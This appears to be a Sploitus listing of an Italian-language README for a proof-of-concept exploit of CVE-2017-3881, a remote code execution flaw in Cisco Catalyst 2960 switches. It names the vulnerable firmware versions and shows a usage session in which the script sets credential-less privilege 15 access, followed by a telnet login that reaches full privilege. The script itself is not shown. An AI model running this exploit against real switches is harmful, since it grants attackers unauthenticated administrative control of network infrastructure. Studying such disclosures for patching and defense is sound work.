Sploitus

Exploit for PoC

CVE-2017-3881

kitploit · 2026-08-27

Exploit Code

MARKDOWN45 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MZAKYZ666-POC-CVE-2017-3881
# PoC-CVE-2017-3881

Cisco Catalyst Remote Code Execution PoC

Questo repository contiene il codice Proof-of-Concept per sfruttare la vulnerabilità di esecuzione remota di codice divulgata da Cisco Systems il 17 marzo 2017 - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp

## Descrizione

Write-up dell'exploit: https://errorcybernews.com/2017/05/11/cisco-systems-merilis-update-switch/

Il codice dell'exploit RCE è disponibile per il modello di switch Cisco Catalyst 2960. Questo exploit dipende dal firmware. Sono supportate due versioni del firmware:

  * 12.2(55)SE1 C2960-LANBASEK9-M

  * 12.2(55)SE11 C2960-LANBASEK9-M




Il codice per il denial of service è disponibile come modulo Ruby di Metasploit. Dovrebbe funzionare per la maggior parte degli switch menzionati nell'avviso Cisco (conferma necessaria).

## Esempio di utilizzo

root@kitploit:~
    
    
    $ python c2960-lanbasek9-m-12.2.55.se11 192.168.88.10 --set
    [+] Connection OK
    [+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f'
    [+] Sending cluster option
    [+] Setting credless privilege 15 authentication
    [+] All done
    $ telnet 192.168.88.10
    Trying 192.168.88.10...
    Connected to 192.168.88.10.
    Escape character is '^]'.
    
    catalyst1#show priv
    Current privilege level is 15
    

## Ringraziamenti all'autore:

Artem Kondratenko https://twitter.com/artkond